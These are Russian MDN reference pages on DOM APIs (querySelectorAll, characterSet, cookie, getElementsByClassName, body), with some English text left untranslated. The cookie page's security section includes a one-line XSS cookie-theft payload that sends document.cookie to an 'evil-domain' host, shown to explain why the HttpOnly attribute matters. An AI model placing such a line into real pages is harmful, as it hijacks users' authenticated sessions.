В этом примере возвращается список всех элементов `<div>` в документе, которые имеют класс `note` или `alert`:

```js
var matches = document.querySelectorAll("div.note, div.alert");
```

Здесь мы получаем список элементов `<p>`, чьим непосредственным родительским элементом является `<div>` с классом `highlighted`, который расположен внутри контейнера с идентификатором `test`.

```js
var container = document.querySelector("#test");
var matches = container.querySelectorAll("div.highlighted > p");
```

В этом примере используются селекторы атрибутов, чтобы вернуть список элементов `<iframe>` (en-US), которые содержат атрибут `data-src`:

```js
var matches = document.querySelectorAll("iframe[data-src]");
```

Здесь селектор атрибута используется для возврата элементов списка, содержащихся в списке с идентификатором `"userlist"`, который имеет атрибут `"data-active"` со значением `"1"`:

```js
var container = document.querySelector("#userlist");
var matches = container.querySelectorAll("li[data-active='1']");
```

### Доступ к совпадениям

Вернув `NodeList` совпадений один раз, вы можете использовать его как простой массив. Если массив пустой (т. е. свойство `length` равно 0), то совпадений не было найдено.

В другом случае, вы можете использовать стандартную запись массива для доступа к содержимому. Вы можете использовать любой оператор зацикливания, например:

```js
var highlightedItems = userList.querySelectorAll(".highlighted");

highlightedItems.forEach(function (userItem) {
  deleteUser(userItem);
});
```

Примечания пользователя
-----------------------

`querySelectorAll()` ведёт себя не так, как большинство библиотек JavaScript DOM. Это может привести к неожиданным результатам.

### HTML

Рассмотрим этот HTML с тремя вложенными `<div>` блоками.

```html
<div class="outer">
  <div class="select">
    <div class="inner"></div>
  </div>
</div>
```

### JavaScript

```js
var select = document.querySelector(".select");
var inner = select.querySelectorAll(".outer .inner");
inner.length; // 1, не 0!
```

В данном примере, когда мы выбрали `".outer .inner"` в контексте `<div>` с классом `"select"`, элемент с классом `".inner"` был всё равно найден, хотя `.outer` не является потомком элемента в котором происходил поиск (`".select"`). По умолчанию, `querySelectorAll()` проверяет только последний элемент без учёта контекста.

Псевдокласс `:scope` (en-US) даёт нам ожидаемый результат. Только соответствующие селекторы в потомках базового элемента:

```js
var select = document.querySelector(".select");
var inner = select.querySelectorAll(":scope .outer .inner");
inner.length; // 0
```

Спецификации
------------

| Specification |
| --- |
| DOM Standard # ref-for-dom-parentnode-queryselectorall① |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Element.querySelector()` and `Element.querySelectorAll()`
* `Document.querySelector()`
* `DocumentFragment.querySelector()` (en-US) and `DocumentFragment.querySelectorAll()` (en-US)
* `ParentNode.querySelector()` and `ParentNode.querySelectorAll()`
* Code snippets for `querySelector`


Document.characterSet - Интерфейсы веб API

Document.characterSet
=====================

**`Document.characterSet`** доступное только для чтения свойство, возвращает кодировку текущей страницы. Кодировка это набор символов, используемый для отрисовки документа, которая может отличаться от кодировки, заданной на странице (пользователь может переназначить кодировку)

**Примечание:** Свойства `document.charset` и `document.inputEncoding` это устаревшие алиасы `document.characterSet`. Не используйте их больше.

Синтаксис
---------
```

var string = document.characterSet
```

Примеры
-------
```

<button onclick="alert(document.characterSet);">Показать кодировку</button>
// вернёт кодировку документа вида "ISO-8859-1" или "UTF-8"
```

Спецификации
------------

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-characterset① |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.cookie - Интерфейсы веб API

Document.cookie
===============

Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с cookies смотри simple cookie framework.

Синтаксис
---------

### Чтение всех cookies, связанных с текущим документом
```

allCookies = document.cookie;
```

In the code above *allCookies* is a string containing a semicolon-separated list of all cookies (i.e. `key=value` pairs). Note that each *key* and *value* may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

### Запись новой cookie
```

document.cookie = newCookie;
```

В приведённом коде `newCookie` - строка в виде `key=value`*.* Заметьте, у вас есть возможность установить/обновить лишь одну связку `key=value` за один раз, используя этот метод. Стоит отметить, что:

* Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
    + `;path=path` (e.g., '`/`', '`/mydir`') If not specified, defaults to the current path of the current document location.

    **Примечание:** Prior to Gecko 6.0, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.

    The path must be **absolute** (see RFC 6265). For more information on how to use relative paths, see this paragraph.
    + `;domain=domain` (e.g., '`example.com`' or '`subdomain.example.com`'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.
    + `;max-age=max-age-in-seconds` (e.g., `60*60*24*365` or 31536000 for a year)
    + `;expires=date-in-GMTString-format` If neither `expires` nor `max-age`specified it will expire at the end of session.

    **Предупреждение:** When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies
     One of the most beloved features of Firefox prevents session cookies from ever expiring.
     The same issue is also occuring with google chrome (and probably with other browsers offering similar features)

        - See `Date.toUTCString()` for help formatting this value.
    + `;secure` Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.
    + `;samesite` SameSite prevents the browser from sending this cookie along with cross-site requests. Possible values for the flag are `lax` or `strict`.
        - The `strict` value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing context, even when following a regular link.
        - The `lax` value will only send cookies for TOP LEVEL navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks.
* The cookie value string can use `encodeURIComponent()` to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
* Some user agent implementations support the following cookie prefixes:
    + `__Secure-` Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
    + `__Host-` Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.
**Примечание:** The dash is considered part of the prefix.

**Примечание:** These flags are only setable with the `secure` attribute.

**Примечание:** As you can see from the code above, `document.cookie` is an accessor property with native *setter* and *getter* functions, and consequently is **not** a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Примеры
-------

### Пример #1: Простое использование

```js
document.cookie = "name=oeschger";
document.cookie = "favorite\_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
```

```html
<button onclick="alertCookie()">Show cookies</button>
```

### Пример #2: Получить cookie с именем *test2*

```js
document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(
  /(?:(?:^|.\*;\s\*)test2\s\*\=\s\*([^;]\*).\*$)|^.\*$/,
  "$1",
);

function alertCookieValue() {
  alert(cookieValue);
}
```

```html
<button onclick="alertCookieValue()">Show cookie value</button>
```

### Пример #3: Выполнить операцию единожды

При использовании следующего кода замените все вхождения `doSomethingOnlyOnce` (наименование cookie) на другое имя.

```js
function doOnce() {
  if (
    document.cookie.replace(
      /(?:(?:^|.\*;\s\*)doSomethingOnlyOnce\s\*\=\s\*([^;]\*).\*$)|^.\*$/,
      "$1",
    ) !== "true"
  ) {
    alert("Do something here!");
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
```

```html
<button onclick="doOnce()">Only do something once</button>
```

### Пример #4: Перезагрузить cookie

```js
function resetOnce() {
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
```

```html
<button onclick="resetOnce()">Reset only once cookie</button>
```

### Example #5: Проверить существование cookie
```

//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.trim().indexOf('reader=') == 0
}).length) {
    console.log('The cookie "reader" exists (ES5)')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.trim().startsWith('reader=')).length) {
    console.log('The cookie "reader" exists (ES6)')
}
```

### Example #6: Проверить, что cookie имеет определённое значение
```

//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.indexOf('reader=1') >= 0
}).length) {
    console.log('The cookie "reader" has "1" for value')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) {
    console.log('The cookie "reader" has "1" for value')
}
```

Безопасность
------------

It is important to note that the path attribute does **not** protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe (en-US) element with the path of the cookie, then accessing this iframe's `contentDocument.cookie` property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy (en-US).

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

```js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

Примечания
----------

* Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage (en-US).
* You can delete a cookie by simply updating its expiration time to zero.
* Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage (en-US) if you are going to keep "client-only" data.
* RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be **no maximum length** of a cookie's key or value size, and encourages implementations to support **arbitrarily large cookies**. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason of the syntax of the `document.cookie` accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage (en-US)):

##### The server tells the client to store a cookie
```

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]
```

##### The client sends back to the server its cookies previously stored
```

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
```

### Использование относительных ссылок в параметре path

The `path` parameter of a new cookie can accept only *absolute* paths. If you want to use *relative* paths, therefore, you need to convert them. The following function can translate *relative* paths to *absolute* paths. It is a general-purpose function, but can be of course successifully used for the `path` parameter of a new cookie, as well.

##### Library

```js
/\*\
|\*|
|\*| :: Translate relative paths to absolute paths ::
|\*|
|\*| https://developer.mozilla.org/ru/docs/Web/API/document.cookie
|\*| https://developer.mozilla.org/User:fusionchess
|\*|
|\*| The following code is released under the GNU Public License, version 3 or later.
|\*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|\*|
\\*/

function relPathToAbs(sRelPath) {
  var nUpLn,
    sDir = "",
    sPath = location.pathname.replace(
      /[^\/]\*$/,
      sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"),
    );
  for (
    var nEnd, nStart = 0;
    (nEnd = sPath.indexOf("/../", nStart)), nEnd > -1;
    nStart = nEnd + nUpLn
  ) {
    nUpLn = /^\/(?:\.\.\/)\*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(
      new RegExp("(?:\\/+[^\\/]\*){0," + (nUpLn - 1) / 3 + "}$"),
      "/",
    );
  }
  return sDir + sPath.substr(nStart);
}
```

##### Sample usage

```js
/\* Let us be in /ru/docs/Web/API/document.cookie \*/

alert(location.pathname);
// displays: /ru/docs/Web/API/document.cookie

alert(relPathToAbs("./"));
// displays: /ru/docs/Web/API/

alert(relPathToAbs("../Guide/API/DOM/Storage"));
// displays: /ru/docs/Web/Guide/API/DOM/Storage

alert(relPathToAbs("../../Firefox"));
// displays: /ru/docs/Firefox

alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// displays: /ru/docs/Firefox
```

### Относительный срок годности cookie: числовые примеры

If you don't want to use an *absolute date* for the `end` parameter, here you can find some numeric examples of expiration-dates *relative to the moment of storage of the cookie*:

```js
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
```

Другие примеры
--------------

### Example #5: Do something only once – *a general library*

#### Библиотека
```

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}
```

#### Синтаксис
```

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
```

#### Описание

Executes a function only once, even after the refresh of the page.

#### Параметры

`callback`

The function to be executed (function).

`thisObject` Optional

The `this` object (Object or `null`).

`argumentToPass1, argumentToPass2, argumentToPassN` Optional

The arguments of the `callback` function.

`identifier`

The identifier to check, i.e. the name of the cookie (string)

`onlyHere` Optional

A boolean expressing whether the cookie will use the local path (`true`) instead of the global one (`false` or `undefined`) (boolean or `undefined`)

#### Примеры использования
```

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-document-cookie |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* HTTP cookies
* DOM Storage (en-US)
* `URLUtils.pathname`
* `Date.toUTCString()`
* `HTTP`
* Cookies (code snippets)
* RFC 2965


Document.getElementsByClassName() - Интерфейсы веб API

Document.getElementsByClassName()
=================================

Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имён классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать `getElementsByClassName()` можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.

Синтаксис
---------
```

var elements = document.getElementsByClassName(names); // или:
var elements = rootElement.getElementsByClassName(names);
```

* *В "elements"* будет текущая `HTMLCollection` найденных элементов.
* *"names"* - строка, состоящая из списка имён искомых классов; имена классов разделяют пробелами.
* getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.
Примеры
-------

Получить все элементы класса 'test':

```js
document.getElementsByClassName("test");
```

Получить все элементы, для которых заданы класс 'red' и класс 'test':

```js
document.getElementsByClassName("red test");
```

Получить все элементы класса 'test', являющиеся дочерними для элемента с ID 'main':

```js
document.getElementById("main").getElementsByClassName("test");
```

Мы также можем использовать методы из Array.prototype по отношению к любой `HTMLCollection`, передавая коллекцию в качестве значения *this* метода. Код в примере найдёт все элементы 'div' с классом 'test':

```js
var testElements = document.getElementsByClassName("test");
var testDivs = Array.prototype.filter.call(
  testElements,
  function (testElement) {
    return testElement.nodeName === "DIV";
  },
);
```

Получение элементов класса 'test'
---------------------------------

Ниже приведён пример наиболее употребительного способа использования данного метода.

```html
<!doctype html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Document</title>
  </head>
  <body>
    <div id="parent-id">
      <p>hello word1</p>
      <p class="test">hello word2</p>
      <p>hello word3</p>
      <p>hello word4</p>
    </div>
    <script>
 var parentDOM = document.getElementById("parent-id");

 var test = parentDOM.getElementsByClassName("test"); //test is not target element
 console.log(test); //HTMLCollection[1]

 var testTarget = parentDOM.getElementsByClassName("test")[0]; //hear , this element is target
 console.log(testTarget); //<p class="test">hello word2</p>
 </script>
  </body>
</html>
```

Спецификации
------------

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-getelementsbyclassname① |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.body - Интерфейсы веб API

Document.body
=============

Возвращает узел `<body>` или `<frameset>` (en-US) текущей страницы, или **`null`** если таких элементов не существует.

Синтаксис
---------
```

var objRef = document.body;
document.body = objRef;
```

Пример
------

```js
// в HTML: <body id="oldBodyElement"></body>
alert(document.body.id); // "oldBodyElement"

var aNewBodyElement = document.createElement("body");

aNewBodyElement.id = "newBodyElement";
document.body = aNewBodyElement;
alert(document.body.id); // "newBodyElement"
```

Примечания
----------

**`document.body`** это элемент, который включает в себя содержимое страницы. На страницах с `<body>` вернётся элемент `<body>`, а с frameset - элемент `<frameset>`.

**`body`** может быть заменено, но это удалит все его дочерние элементы.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-document-body-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `document.head`